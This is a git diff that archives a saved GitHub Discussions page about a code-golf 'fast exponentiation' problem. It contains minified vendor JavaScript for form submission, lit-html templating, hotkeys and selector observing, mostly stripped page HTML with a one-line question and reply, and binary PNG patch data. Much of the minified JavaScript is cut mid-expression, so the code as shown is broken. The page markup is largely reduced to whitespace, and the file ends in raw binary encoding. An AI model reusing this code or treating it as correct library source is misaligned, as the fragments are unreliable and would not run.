c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 9: Fast Exponentiation · Discussion #10 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #10  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + +
    + + + + + + + + + + +
    + + + + + + + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 9: Fast Exponentiation + + #10 +

    +
    + Unanswered +
    + + Ta180m + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 9: Fast Exponentiation + + #10 +
    +
    +
    + + +
    + on Apr 28, 2021 + · + 1 answer +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 28, 2021 + + +
    + + + Maintainer + + + +
    + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    Many algorithms in a variety of fields such as cryptography require quick computations of powers. + Your task is to implement this algorithm in the most idiotic way +possible. It should preferably work fast, although this isn't +necessarily a requirement.

    +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 1 suggested answer +
    + +
    + + +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 29, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    https://github.com/Ta180m/Idiot-Code-Golf/blob/main/fast-pow/pow.cpp

    +

    A very scary for loop.

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 1 participant +
    +
    + + @Ta180m +
    +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + + + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Loading complete
    \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 zcmV;r3`O&aP)NM3lG;3?Wv!?J=#^G%R&STRV<0GpMz7YO~$eG0ki>YA9lby4oO?G2 zc##mmnSM|Z5R_UbBY+UxaViOh*n2m09TU=tfX0Az%!mO`z^IgRKLqnrJ18d3(fj6i zO|>CfCVD`C1XWltn#k7A1J@fpgY~ApAzIUSR35n6Rg8|22Wy!LL@oUs^!@Ij3Hu1G z4h=vpd(Phb1W=HUE+S-5gJmG_LNwqk-J!g-rd`e^0G^k6fGYexm@iX+DzMvsJ2bh{ zALG*E-c3#>H4{*5Z}&s=^lJ3$tIm)%EC>yO*svs=^K-Q3jy1#v1yJ1>fm%j^@rY@U zHMF|t3rV7e;KY}?1zZJ+a_RaG$>%uH$LwT!Ca-sH7jX}0WO+DOD;n_30RetVRRUax z0S!9Y!QSnLTJ{fH3kcL3C*cI;Tn4BQ(KBOvG0$9_(s=3L23euKO>^b;QH3DtnfPaqj z#lV~ZFX}grU_JfZf5DTCgz?Ci>Z^g1WTUmAk8SWzs~Fy6@UgNW1l@qrH{p)YcEY;$ z;hE!tG_`7!a}o39R)gSQrg}Lr*yXajK0m@KRpC7;v?NGh7C`mo2wZEtCrD@7)@$$! z!@Uvw_bm8ZsSvPZC%R$*FPj)$;CWZmSz<}4M=AjevcgwjB*G2Foc zOF(v+NS#wcJQ~dckCi=-&mUkx*uBn+RTo9Lu5)P6#mdc2CO<^KKbo5i`4w*a!IEQiObu5l9+Nt^$S^r!r zh56D*_ORu|ftxY+j&y$Q9C)TVC9tK^4`Tc&L&X^}u&V+<{a)^(a4f4hB!PvLHfhBWiHYP;RGW=t&F9X|?1TdE3 